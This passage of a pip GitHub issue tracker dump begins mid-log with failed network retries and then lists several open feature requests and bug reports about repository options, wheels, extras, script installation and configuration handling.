Retrying (Retry(total=2, connect=None, read=None, redirect=None)) after connection broken by 'NewConnectionError('<pip._vendor.requests.packages.urllib3.connection.VerifiedHTTPSConnection object at 0x7f779508e4e0>: Failed to establish a new connection: [Errno -2] Name or service not known',)': /simple/pytest/
Retrying (Retry(total=1, connect=None, read=None, redirect=None)) after connection broken by 'NewConnectionError('<pip._vendor.requests.packages.urllib3.connection.VerifiedHTTPSConnection object at 0x7f779507d6d8>: Failed to establish a new connection: [Errno -2] Name or service not known',)': /simple/pytest/
Retrying (Retry(total=0, connect=None, read=None, redirect=None)) after connection broken by 'NewConnectionError('<pip._vendor.requests.packages.urllib3.connection.VerifiedHTTPSConnection object at 0x7f779507d828>: Failed to establish a new connection: [Errno -2] Name or service not known',)': /simple/pytest/
Requirement already up-to-date: pytest in /usr/lib/python3.5/site-packages
Retrying (Retry(total=4, connect=None, read=None, redirect=None)) after connection broken by 'NewConnectionError('<pip._vendor.requests.packages.urllib3.connection.VerifiedHTTPSConnection object at 0x7f7795031f98>: Failed to establish a new connection: [Errno -2] Name or service not known',)': /simple/py/
Retrying (Retry(total=3, connect=None, read=None, redirect=None)) after connection broken by 'NewConnectionError('<pip._vendor.requests.packages.urllib3.connection.VerifiedHTTPSConnection object at 0x7f7795031e48>: Failed to establish a new connection: [Errno -2] Name or service not known',)': /simple/py/
Retrying (Retry(total=2, connect=None, read=None, redirect=None)) after connection broken by 'NewConnectionError('<pip._vendor.requests.packages.urllib3.connection.VerifiedHTTPSConnection object at 0x7f7795038080>: Failed to establish a new connection: [Errno -2] Name or service not known',)': /simple/py/
Retrying (Retry(total=1, connect=None, read=None, redirect=None)) after connection broken by 'NewConnectionError('<pip._vendor.requests.packages.urllib3.connection.VerifiedHTTPSConnection object at 0x7f7795038128>: Failed to establish a new connection: [Errno -2] Name or service not known',)': /simple/py/
Retrying (Retry(total=0, connect=None, read=None, redirect=None)) after connection broken by 'NewConnectionError('<pip._vendor.requests.packages.urllib3.connection.VerifiedHTTPSConnection object at 0x7f7795038208>: Failed to establish a new connection: [Errno -2] Name or service not known',)': /simple/py/
Requirement already up-to-date: py>=1.4.29 in /usr/lib/python3.5/site-packages (from pytest)
```

Then with an internet connection, 

```
$ sudo python3 -m pip install -U pytest
[sudo] password for jayvdb: 
Collecting pytest
  Downloading pytest-3.0.6-py2.py3-none-any.whl (172kB)
    100% |████████████████████████████████| 174kB 612kB/s 
Collecting setuptools (from pytest)
  Downloading setuptools-34.1.1-py2.py3-none-any.whl (389kB)
    100% |████████████████████████████████| 399kB 624kB/s 
Requirement already up-to-date: py>=1.4.29 in /usr/lib/python3.5/site-packages (from pytest)
Requirement already up-to-date: six>=1.6.0 in /usr/lib/python3.5/site-packages (from setuptools->pytest)
Requirement already up-to-date: packaging>=16.8 in /usr/lib/python3.5/site-packages (from setuptools->pytest)
Requirement already up-to-date: appdirs>=1.4.0 in /usr/lib/python3.5/site-packages (from setuptools->pytest)
Requirement already up-to-date: pyparsing in /usr/lib/python3.5/site-packages (from packaging>=16.8->setuptools->pytest)
Installing collected packages: setuptools, pytest
  Found existing installation: setuptools 27.1.2
    Uninstalling setuptools-27.1.2:
      Successfully uninstalled setuptools-27.1.2
  Found existing installation: pytest 2.9.2
    Uninstalling pytest-2.9.2:
      Successfully uninstalled pytest-2.9.2
Successfully installed pytest-3.0.6 setuptools-34.1.1
```
user: jayvdb
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
issue_4263: state: open
title: Enhancement: Add a general option for --repository (-r), and integrate with --index[-url]
body: # Repositories Proposal
Add a new CLI argument to specify a "repository"; `-r, --repository <repo|url>`.

## Use Case

I would like to be able to specify a specific "repository" (index, if you prefer) to more easily limit where `pip` will search for packages. The idea is similar to setuputils/distutils ability to specify to which repository a package is uploaded.

One nice aspect of this idea is that it helps prevent information leakage when trying to install a package (or search for a package) intended for local/enterprise Pypi instances.

Another benefit, limiting the number of indexes searched to one should speed up the pip package discovery process. Though, I doubt that many users have more than two indexes.

Also, I want to be able to define shell aliases for `pip`; ex: `pip-local`. With the current setup, would have to set many aliases for each pip subcommand; `alias pip-local-install='pip --trusted-host myhost.fqdn install --index-url http://myhost.fqdn/simple/`, etc. (In writing this document, I've come to suspect that this desire could be achieved with inline Env Var, but I would argue that is not intuitive; ex: `alias pip-local='PIP_TRUSTED_HOST=host.fqdn PIP_INDEX_URL=http://host.fqdn/simple pip'`. I have yet to test it.)

## Design Details
The ultimate goal of this enhancement is to elevate `--index-url` from `pip install --index-url`, however the incongruity with `pip search --index` complicates that possibility.

Another goal is to bring consistent terminology (`index`/`repository`) and, potentially, configuration compatibility with Distutils' `.pypirc`.

There's the obvious potential backwards compatibility issues which I have attempted to take into account. The design is to make `-r repo` supersede any invocations of `--index` or `--index-url`. Without `-r <repo>`, `pip`'s behavior should be consistent.

Any notion of "default" `repo` has been conscientiously omitted from this write-up because my initial speculation is that it would confuse users and complicate matters too much. For instance, having a "default" would force the addition of a `--no-repository` option which (IMHO) is ugly and 
unnecessary.

In the following sections I will describe `pip -r repo` interactions with other command line arguments only for convenience. The same behavior should be assumed regardless of how config settings were set; CLI argument, Env-var, or INI setting, etc.

## `pip` invokation

### `pip` invoked without `-r`

When pip is invoked without `-r`, then pip will behave identically as it does presently.

#### `pip -r,--repository <repo>`

* `repo` will identify either:
  * A `[repo]` defined in `pip.conf`, or
  * A `url`; i.e `http://pypi.python.org/pypi`, Index Discovery explained below.

* When pip is invoked with `-r`, then pip will exclusively `search` and `install` from that repository.

### `pip search --index` Integration

#### `pip -r repo search`

* When pip is invoked with `-r repo` and without `--index url`, then the repository's `url` is assumed to be identical to the repository url and not be an issue.
* When pip is invoked with `-r repo` and with `--index url`, then the `--index url` is ignored.

### `pip -r <repo> install` Integration

#### `--index-url`
* When pip is invoked with `-r` and without `--index-url url`, then the repository's url is modified to find the correct link. Presently, I'm aware of a few scenarios that can occur; Assume `https://myrepo.mydomain/pypi-local` is a working Pypi repo.
  1. Do nothing. Check the repo-url as is.
  1. Replace the end-of-path w/ `/simple/`; ex: `https://myrepo.mydomain/simple/`
  1. Append `/simple/`; ex: `https://myrepo.mydomain/pypi-local/simple/`
  1. (optional, Implementation-Detail) Discovered Index-Url Cache. After the proper Index-Url is discovered from above, add it to a configuration cache to short circuit future iterations of this process.

* When pip is invoked with `-r repo` and with `--index-url url`, then the `index-url` url is ~assumed to be correct~ ignored.

#### `--extra-index-url`
When pip is invoked with `-r repo` and with `--extra-index-url url`, then the extra indexes should be ignored.

#### `--no-index`
When pip in invoked with `-r repo`, TBD.

__Comment:__ _I have to plead ignorance on this argument as I have not yet needed to use it. I suspect that it's nonsensical to specify both `pip -r repo` and `install --no-index`, but I can't say so with authority._

_But, my initial assumption would be to ignore `-r repo`._

### `pip -r <repo> list` Integration
### `pip -r <repo> download` Integration
### `pip -r <repo> wheel` Integration

_Same as: `pip -r repo install`_

### Configuration

#### pip.conf
##### Global
In the `[global]` section, like `[distutils]` in `.pypirc`, add an `index-servers = [repos]` option to specify custom repositories.

_Potential Changes:_ 
 * Repos listed in `index-servers` could be appended to `--extra-index-urls`.

##### Custom Repos
Custom `[repo]` sections that allow one to define:
 * `repository: url`, like`.pypirc`, later this is assumed to be the same url that will be used by `pip search --index url`.
 * `index-url: url`, specifies the exact url for `pip install --index-url`.

##### Behavior Changes

 * `[global]` behavior will be unaffected when `-r repo` is __NOT__ present.
 * With `-r repo` present:
   * `[global] index-url` will be ignored in favor of the `[repo] index-url` setting or `index-url` discovery process.
   * With `-r repo`, `[global] extra-index-urls` will be ignored.

#### Environment Variables

Add Env Vars for: 
 * `PIP_REPO`
    * When present, pip will assume `pip -r ${PIP_REPO}`.
 * `PIP_REPO_INDEX_URL`
    * Dependent on presence of `PIP_REPO`.
    * With `$PIP_REPO` present, pip will assume:
      * `--index-url ${PIP_REPO_INDEX_URL}` for `install`, et.al.
      * `--search ${PIP_REPO}`
    * Without `$PIP_REPO`, `$PIP_REPO_INDEX_URL` is ignored.

## External Integrations
### .pypirc

Assuming the logic behind "pip.conf Configuration" is implemented, pip could gather repository information from `.pypirc`.

## Related Issues
* #589 

user: sanscore
labels: C: configuration: Configuration management and loading
state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_4238: state: open
title: Feature: cli option for copytree symlink
body: I have complex project and I have relative symlink of c-sources in my py package directory, which will built as extension with cffi. But since pip copytree symlink is hardcoded to `True` (https://github.com/pypa/pip/blob/3aa1101704827ca6ba34d311d3f553bed17bab4b/pip/download.py#L691) my relative symlinks are broken just after pip copies package to temporary directory. So, I think it is good thing to have something like `follow_symlinks` or `allow_symlinks` for pip cli.
user: pohmelie
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
issue_4176: state: open
title: uninstall -nspkg.pth files installed with setup.py develop
body: With the release of [setuptools 31](http://setuptools.readthedocs.io/en/latest/history.html#v31-0-0), `setup.py develop` finally _should_ work with namespace packages. However, it's my understanding that currently when one uninstalls using pip, pip doesn't remove the -nspkg.pth file created. It probably should do so.
user: jaraco
labels: type: bug: A confirmed bug or unintended behavior
project: setuptools: Related to setuptools
issue_4118: state: open
title: --global-option for a specific requirement in requirements file disables use of wheels globally
body: * Pip version: 7.1.2 (tested with 9.0.1 with the same result)
* Python version: 2.7.6
* Operating System: Ubuntu 14.04

### Description:

We have a big requirements file and use wheels. Now we've added a new package and need to pass some build arguments to it. I've figured out it can be placed into requirements file this way:
```
confluent-kafka==0.9.2 --global-option=build_ext --global-option="--rpath=/opt/librdkafka/lib/"
```
Pip is invoked like this:
```
/home/x/venv/bin/pip --disable-pip-version-check --cache-dir ~/pipcache wheel --build /tmp/pipbuild_x --src /tmp/pipsrc_x --find-links ~/pip_wheels_x -i https://our-pip-index-using-devpi --wheel-dir ~/pip_wheels_x --requirement deploy/requirements/all.txt
```
This message is printed:
```
/home/x/venv/local/lib/python2.7/site-packages/pip/req/req_file.py:129: UserWarning: Disabling all use of wheels due to the use of --build-options / --global-options / --install-options.
   cmdoptions.check_install_build_global(options, opts)
```
I expected it to use wheels for other packages but it stopped to use wheels for all the packages mentioned in `deploy/requirements/all.txt`. This breaks the installation process for us, because we use some private wheel-only packages uploaded to our `devpi` transparent index mirror.

Is it intended (why then?) or per-requirement handling is not implemented yet?

(Also after upgrading pip to 9.0.1 and reverting pip version back to 7.1.2 in our requirements file I got `Could not find a version that satisfies the requirement pip==7.1.2 (from -r deploy/requirements/pip.txt (line 1)) (from versions: )` but this one may be a `devpi` issue, not sure yet)
user: fillest
labels: type: bug: A confirmed bug or unintended behavior
project: setuptools: Related to setuptools
issue_4086: state: open
title: pip check does not check for missing extras requires
body: * Pip version: 9.0
* Python version: 3.5
* Operating System: Linux

### Description:

pip check does not check for missing extras requires.

### What I've run:

Install `scikit-image` (skipping dependencies) and `dask`.  `scikit-image` depends on `dask[array]` but `pip check` does not detect a mssing dependency.

See also #3797.
user: anntzer
labels: type: bug: A confirmed bug or unintended behavior
C: extras: Handling optional dependencies
C: check: Checking dependency graph for consistency
issue_4040: state: open
title: Possible enhancements to pip show
body: - Pip version: Latest
- Python version: >= 2.7.12, >=3.5
- Operating System: All
### Description:

Currently `pip list -o` gives you a list of the currently "Outdated" packages from those that are installed and `pip show` _packagename_ gives you a lot of information about that package, **if** it is installed, as it is currently installed.

I would like to suggest that the additional functionality that could be provided by the following could be very useful in some use cases:
- `pip show --csv=`[Version|Summary|Home-page|Author|Author-email|License|etc] _packagename_ should allow an abbreviated output of just the metadata items specified on a single, comma separated, line, if there are no specific items listed it should output all but the multi-entry items such as the Classifiers & Entry Points.
- `pip show --requirements` _packagename_ would show the requirements for the currently installed package including any specified version numbers. A verbose option to this would include the currently installed version of the required packages. When combined with the `--csv` flag it should show the same data for each of the entries.
- `pip show --upgrades` _packagename_ should show the versions of the package and its requirements that would be installed on a `pip install --upgrade` this could be very useful in assessing the impact of upgrading an existing package.
- `pip show --required-by` _packagename_ should list the packages that are currently installed that require the named package this would allow assessing the impact likely of upgrading or uninstalling a given package.
- `pip show --impacts` _packagename_ should combine the functionality of the two above so as to give a list of the installed packages that _**might**_ be impacted by an upgrade of the named package combined with `--remote` _below_ it should show which might be impacted by installation of a new package.
- `pip show --remote` _packagename_ would show the information for the latest, or specified, revision of that package even if it is not currently installed this would be useful if you were considering installing a package but needed to know the licence and/or which other packages might be pulled down. It should be capable of being combined with the above options 

I would suggest that `pip show --upgrades` should behave largely as for the existing pip show if the package is not installed _unless the `--remote` flag was also specified_ **but** would like to modify that behaviour to actually output "_name_ `is not currently installed`" when a matching package is not found. Possibly this change to actually show missing packages as missing could be dependent on the presence of the `--verbose` flag which does little in the current `show` command.

My specific use case is to try to enable the filtering of packages based on the specific licence, (including the licences of any requires packages), for projects that are restricted, in one way or another, as to which licenses are permissible.

I feel that the above could be done without additional dependencies other than the standard libraries and am willing to produce some pull requests if it is felt that this would add useful functionality. 

user: GadgetSteve
labels: type: enhancement: Improvements to functionality
C: list/show: 'pip list' or 'pip show'
issue_4001: state: open
title: Check for dependent packages before uninstalling and store installation date to allow listing by it
body: Hello,

I believe it would be helpful if pip checked if there are any dependent packages before uninstalling a package.

If there were, it should:
1. Warn the user by listing the dependent packages;
2. Require a specific option, eg. --alldeps to uninstall all dependent packages before uninstalling the specified package;
3. Require a specific option, eg. --force to continue with the uninstall w/o uninstalling the dependent packages (which could be dangerous, but it's the current behaviour and may be useful in specific situations).

This is similar to what happens with package managers in Linux.

This should also work on venvs.

By storing the installation date of all packages, it should allow the list command to be ordered by it.

Best regards,

JM

user: jcrmatos
labels: state: awaiting PR: Feature discussed, PR is needed
type: feature request: Request for a new feature
issue_3980: state: open
title: Option to exclude scripts on install
body: - Pip version: 8.1.2
- Python version: 2.7.12
- Operating System: macOS 10.12
### Description:

I'm trying to install a package but not install its scripts. The reason is I'd like to make the `keyring` package available in my Python 2 installation (for Mercurial) but continue to use `keyring` in my Python 3 installation as the default. If I `python2 -m pip install keyring`, it will overwrite the `keyring` script that links to the Python 3 installation.

Best I can tell, the two installs of this package will continue to fight over who owns `keyring` in /usr/local/bin.

I'd like to be able to exclude the script creation when installing on Python 2 to avoid conflicts.

As documented in the [python-packaging-users-guide](https://python-packaging-user-guide.readthedocs.io/pip_easy_install/), easy_install allows excluding scripts from install, but pip does not.

I tried passing `--install-options='--install-scripts=/dev/null'` but that failed.

How do other people handle this situation?
### What I've run:

```
$ python3 -m pip install keyring  
Collecting keyring
  Using cached keyring-9.3.1-py2.py3-none-any.whl
Installing collected packages: keyring
Successfully installed keyring-9.3.1
$ python2 -m pip install keyring
Collecting keyring
  Using cached keyring-9.3.1-py2.py3-none-any.whl
Installing collected packages: keyring
Successfully installed keyring-9.3.1
$ head -n 1 /usr/local/bin/keyring   
#!/usr/local/opt/python/bin/python2.7
$ python2 -m pip uninstall -y keyring
Uninstalling keyring-9.3.1:
  Successfully uninstalled keyring-9.3.1
$ ls -la /usr/local/bin/keyring      
ls: /usr/local/bin/keyring: No such file or directory
```

Here's where I tried using install-scripts:

```
$ python2 -m pip install keyring --install-option='--install-scripts=/dev/null'
/usr/local/lib/python2.7/site-packages/pip/commands/install.py:180: UserWarning: Disabling all use of wheels due to the use of --build-options / --global-options / --install-options.
  cmdoptions.check_install_build_global(options)
Collecting keyring
  Using cached keyring-9.3.1.tar.gz
Skipping bdist_wheel for keyring, due to binaries being disabled for it.
Installing collected packages: keyring
  Running setup.py install for keyring ... error
    Complete output from command /usr/local/opt/python/bin/python2.7 -u -c "import setuptools, tokenize;__file__='/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-build-9ULjAU/keyring/setup.py';exec(compile(getattr(tokenize, 'open', open)(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-BMg4cF-record/install-record.txt --single-version-externally-managed --compile --install-scripts=/dev/null:
    running install
    running build
    running build_py
    creating build
    creating build/lib
    creating build/lib/keyring
    copying keyring/__init__.py -> build/lib/keyring
    copying keyring/__main__.py -> build/lib/keyring
    copying keyring/backend.py -> build/lib/keyring
    copying keyring/cli.py -> build/lib/keyring
    copying keyring/core.py -> build/lib/keyring
    copying keyring/credentials.py -> build/lib/keyring
    copying keyring/errors.py -> build/lib/keyring
    copying keyring/getpassbackend.py -> build/lib/keyring
    copying keyring/http.py -> build/lib/keyring
    copying keyring/py27compat.py -> build/lib/keyring
    copying keyring/py33compat.py -> build/lib/keyring
    creating build/lib/keyring/backends
    copying keyring/backends/__init__.py -> build/lib/keyring/backends
    copying keyring/backends/_OS_X_API.py -> build/lib/keyring/backends
    copying keyring/backends/fail.py -> build/lib/keyring/backends
    copying keyring/backends/kwallet.py -> build/lib/keyring/backends
    copying keyring/backends/OS_X.py -> build/lib/keyring/backends
    copying keyring/backends/SecretService.py -> build/lib/keyring/backends
    copying keyring/backends/Windows.py -> build/lib/keyring/backends
    creating build/lib/keyring/tests
    copying keyring/tests/__init__.py -> build/lib/keyring/tests
    copying keyring/tests/test_backend.py -> build/lib/keyring/tests
    copying keyring/tests/util.py -> build/lib/keyring/tests
    creating build/lib/keyring/util
    copying keyring/util/__init__.py -> build/lib/keyring/util
    copying keyring/util/escape.py -> build/lib/keyring/util
    copying keyring/util/platform_.py -> build/lib/keyring/util
    copying keyring/util/properties.py -> build/lib/keyring/util
    creating build/lib/keyring/tests/backends
    copying keyring/tests/backends/__init__.py -> build/lib/keyring/tests/backends
    copying keyring/tests/backends/test_kwallet.py -> build/lib/keyring/tests/backends
    copying keyring/tests/backends/test_OS_X.py -> build/lib/keyring/tests/backends
    copying keyring/tests/backends/test_SecretService.py -> build/lib/keyring/tests/backends
    copying keyring/tests/backends/test_Windows.py -> build/lib/keyring/tests/backends
    running egg_info
    writing requirements to keyring.egg-info/requires.txt
    writing dependency_links to keyring.egg-info/dependency_links.txt
    writing keyring.egg-info/PKG-INFO
    writing top-level names to keyring.egg-info/top_level.txt
    writing entry points to keyring.egg-info/entry_points.txt
    warning: manifest_maker: standard file '-c' not found

    reading manifest file 'keyring.egg-info/SOURCES.txt'
    writing manifest file 'keyring.egg-info/SOURCES.txt'
    running install_lib
    creating /usr/local/lib/python2.7/site-packages/keyring
    copying build/lib/keyring/__init__.py -> /usr/local/lib/python2.7/site-packages/keyring
    copying build/lib/keyring/__main__.py -> /usr/local/lib/python2.7/site-packages/keyring
    copying build/lib/keyring/backend.py -> /usr/local/lib/python2.7/site-packages/keyring
    creating /usr/local/lib/python2.7/site-packages/keyring/backends
    copying build/lib/keyring/backends/__init__.py -> /usr/local/lib/python2.7/site-packages/keyring/backends
    copying build/lib/keyring/backends/_OS_X_API.py -> /usr/local/lib/python2.7/site-packages/keyring/backends
    copying build/lib/keyring/backends/fail.py -> /usr/local/lib/python2.7/site-packages/keyring/backends
    copying build/lib/keyring/backends/kwallet.py -> /usr/local/lib/python2.7/site-packages/keyring/backends
    copying build/lib/keyring/backends/OS_X.py -> /usr/local/lib/python2.7/site-packages/keyring/backends
    copying build/lib/keyring/backends/SecretService.py -> /usr/local/lib/python2.7/site-packages/keyring/backends
    copying build/lib/keyring/backends/Windows.py -> /usr/local/lib/python2.7/site-packages/keyring/backends
    copying build/lib/keyring/cli.py -> /usr/local/lib/python2.7/site-packages/keyring
    copying build/lib/keyring/core.py -> /usr/local/lib/python2.7/site-packages/keyring
    copying build/lib/keyring/credentials.py -> /usr/local/lib/python2.7/site-packages/keyring
    copying build/lib/keyring/errors.py -> /usr/local/lib/python2.7/site-packages/keyring
    copying build/lib/keyring/getpassbackend.py -> /usr/local/lib/python2.7/site-packages/keyring
    copying build/lib/keyring/http.py -> /usr/local/lib/python2.7/site-packages/keyring
    copying build/lib/keyring/py27compat.py -> /usr/local/lib/python2.7/site-packages/keyring
    copying build/lib/keyring/py33compat.py -> /usr/local/lib/python2.7/site-packages/keyring
    creating /usr/local/lib/python2.7/site-packages/keyring/tests
    copying build/lib/keyring/tests/__init__.py -> /usr/local/lib/python2.7/site-packages/keyring/tests
    creating /usr/local/lib/python2.7/site-packages/keyring/tests/backends
    copying build/lib/keyring/tests/backends/__init__.py -> /usr/local/lib/python2.7/site-packages/keyring/tests/backends
    copying build/lib/keyring/tests/backends/test_kwallet.py -> /usr/local/lib/python2.7/site-packages/keyring/tests/backends
    copying build/lib/keyring/tests/backends/test_OS_X.py -> /usr/local/lib/python2.7/site-packages/keyring/tests/backends
    copying build/lib/keyring/tests/backends/test_SecretService.py -> /usr/local/lib/python2.7/site-packages/keyring/tests/backends
    copying build/lib/keyring/tests/backends/test_Windows.py -> /usr/local/lib/python2.7/site-packages/keyring/tests/backends
    copying build/lib/keyring/tests/test_backend.py -> /usr/local/lib/python2.7/site-packages/keyring/tests
    copying build/lib/keyring/tests/util.py -> /usr/local/lib/python2.7/site-packages/keyring/tests
    creating /usr/local/lib/python2.7/site-packages/keyring/util
    copying build/lib/keyring/util/__init__.py -> /usr/local/lib/python2.7/site-packages/keyring/util
    copying build/lib/keyring/util/escape.py -> /usr/local/lib/python2.7/site-packages/keyring/util
    copying build/lib/keyring/util/platform_.py -> /usr/local/lib/python2.7/site-packages/keyring/util
    copying build/lib/keyring/util/properties.py -> /usr/local/lib/python2.7/site-packages/keyring/util
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/__init__.py to __init__.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/__main__.py to __main__.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/backend.py to backend.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/backends/__init__.py to __init__.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/backends/_OS_X_API.py to _OS_X_API.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/backends/fail.py to fail.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/backends/kwallet.py to kwallet.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/backends/OS_X.py to OS_X.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/backends/SecretService.py to SecretService.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/backends/Windows.py to Windows.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/cli.py to cli.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/core.py to core.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/credentials.py to credentials.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/errors.py to errors.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/getpassbackend.py to getpassbackend.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/http.py to http.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/py27compat.py to py27compat.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/py33compat.py to py33compat.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/tests/__init__.py to __init__.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/tests/backends/__init__.py to __init__.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/tests/backends/test_kwallet.py to test_kwallet.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/tests/backends/test_OS_X.py to test_OS_X.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/tests/backends/test_SecretService.py to test_SecretService.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/tests/backends/test_Windows.py to test_Windows.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/tests/test_backend.py to test_backend.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/tests/util.py to util.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/util/__init__.py to __init__.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/util/escape.py to escape.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/util/platform_.py to platform_.pyc
    byte-compiling /usr/local/lib/python2.7/site-packages/keyring/util/properties.py to properties.pyc
    running install_egg_info
    Copying keyring.egg-info to /usr/local/lib/python2.7/site-packages/keyring-9.3.1-py2.7.egg-info
    running install_scripts
    Installing keyring script to /dev/null
    error: [Errno 17] File exists: '/dev/null'

    ----------------------------------------
Command "/usr/local/opt/python/bin/python2.7 -u -c "import setuptools, tokenize;__file__='/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-build-9ULjAU/keyring/setup.py';exec(compile(getattr(tokenize, 'open', open)(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-BMg4cF-record/install-record.txt --single-version-externally-managed --compile --install-scripts=/dev/null" failed with error code 1 in /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-build-9ULjAU/keyring/
```

user: jaraco
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
issue_3971: state: open
title: Feature: incorporate pip-run as pip run
body: ~~In an effort to obviate `easy_install` (including implicit invocations such as `setup_requires` directives),~~ I've created [rwt](https://pypi.org/project/rwt). If you're not familiar with rwt, take a look at that readme, which describes its purpose and gives some examples.

I've been using `rwt` in my daily workflows and I'm finding it quite powerful as a bootstrapping tool. However, it suffers from the same bootstrapping problem as `setuptools` and `pip` and `virtualenv` -- you have to install it before it's available to use it, so breaks the 'one step' workflows and adds a step to the instructions you give to someone (install python, install pip, install rwt, run this command).

I'd like to consider bundling rwt with pip as the `pip run` command. Since `rwt` is mostly a thin wrapper around `pip` and its parameters are passed directly to `pip install`, it makes sense as a pip command, and adding it as a command to pip would solve the bootstrapping issue. The functionality would also then be available during pip install, ~~potentially eliminating the `setup_requires` reliance on `easy_install` (or at least supporting an `easy_install`-free option)~~.

So I'm proposing two things:
1. Bundle `rwt` as `pip run` and make it the pypa-endorsed mechanism for on-demand dependency resolution.
2. ~~In `pip install` when building a source dist, invoke `setup.py` using rwt.~~

In the short term, the `pip run` command can be used for bootstrapping or test runs or whatever ad-hoc requirements one might have.

```
> pip run requests
...
>>> import requests
>>> requests.get(...)
```

## discarded approach

<details>

Once this functionality has established more thoroughly and packagers can rely on all pip versions having this functionality, they could eliminate the reliance on distutils altogether and use whatever dependencies they require to build their package. Consider the `pbr` use case. Instead of invoking `setuptools.setup()` in their setup.py, they do this:

```
__requires__ = ['pbr']

import pbr
pbr.setup()
```

Where `pbr` might have dependencies on setuptools or distutils and and invoke that behavior, or perhaps they use another build system. Additionally, pip might be able to eschew the responsibility of supplying setuptools. If a script wants to rely on setuptools, it can require that:

```
__requires__ = ['setuptools']

import setuptools
setuptools.setup(...)
```

That last bit (pip without setuptools bundled) makes my heart glow a little. Think it over, maybe try out rwt, and let me know what you think. I plan to put together a PR after addressing any concerns.

</details>
user: jaraco
labels: type: enhancement: Improvements to functionality
issue_3934: state: open
title: Add scripts directory option when using `pip install --target target_dir`
body: - Pip version: 8.1.2
- Python version: 2.7.10_2
- Operating System: OSX 10.10.5
### Description:

When I use --target option, I can specify target directory, however scripts are not inside. There is bit detailed StackOverflow question: http://stackoverflow.com/questions/26476607/how-do-you-specify-bin-directory-for-pip-install-with-target-option-enabled  

It would be great if there was option to specify bin/ directory as well.
### What I've run:

```
pip install ipython -t python_modules
```

`ipython` is installed inside `python_modules` but there is no `bin/ipython`

user: chhantyal
labels: type: enhancement: Improvements to functionality
C: target: pip install's --target option's behaviour handling
issue_3828: state: open
title: pip --isolated should ignore site config too (or another way to restore defaults should be provided)
body: - Pip version: 8.1.2
- Python version: 3.5.1
- Operating System: Arch Linux (standard packages)

`pip --isolated` does not ignore `/etc/pip.conf`, when it should do so.  Or at least there should be a way to run `pip` with the upstream default flags (say, e.g. `pip --isolated=...` where `...` is a colon separated list of some of `venv`, `user` and `site`).

Rationale:

Arch Linux lets user manage arbitrary collections of files as system packages using the `PKGBUILD` system, see e.g. https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=python-versioneer for a user-provided package for the versioneer python package.

While most of them currently rely on calling `setup.py build` / `setup.py install`, I expect many to switch to `pip`, as more packages are distributed as wheels.  The packaging system relies on running the installer in a prefix folder and making an Arch Linux package from that folder; but if /etc/pip.conf sets `user` to True, the packaging script will create an incorrect package.

Edit: I guess this is what `PIP_CONFIG_FILE` is for.  I suggest simply changing the `pip --help` doc for the `--isolated` option to "Run pip in isolated mode, ignoring environment variables and user configuration.  Use PIP_CONFIG_FILE=/dev/null _instead_ to ignore all configuration."  (perhaps with the proper modification on Windows, and perhaps also unsetting `PIP_ISOLATED` just in case?)

Edit (again): Apparently --isolated doesn't ignore PIP_CONFIG_FILE; this probably seems to be a good idea but is inconsistent with the docs that currently say "ignor(es) environment variables"

user: anntzer
labels: type: docs: Documentation related
issue_3809: state: open
title: Switch to TOML for configuration files
body: #3691 means pip will need to vendor some form of TOML library.

In view of consistency, is there any interest in shifting to the TOML format for configuration files?

user: pradyunsg
labels: type: enhancement: Improvements to functionality
C: configuration: Configuration management and loading
issue_3797: state: open
title: `pip show` doesn't handle extras (in the requirements or Required-By metadata)
body: - Pip version: 8.1.2
- Python version: 3.5.1
- Operating System: Arch Linux
### Description:

extras_requires cannot be displayed using `pip show`
### What I've run:

Within a virtualenv:

```
$ pip --isolated install 'dask[bag]'
# dask itself has no deps; dask[bags] has a few, they get correctly installed
# <... elided>
$ pip show dask

---
Metadata-Version: 2.0
Name: dask
Version: 0.10.0
Summary: Minimal task scheduling abstraction
Home-page: http://github.com/dask/dask/
Author: Matthew Rocklin
Author-email: mrocklin@gmail.com
License: BSD
Location: /tmp/foo/lib/python3.5/site-packages
Requires: 
Classifiers:
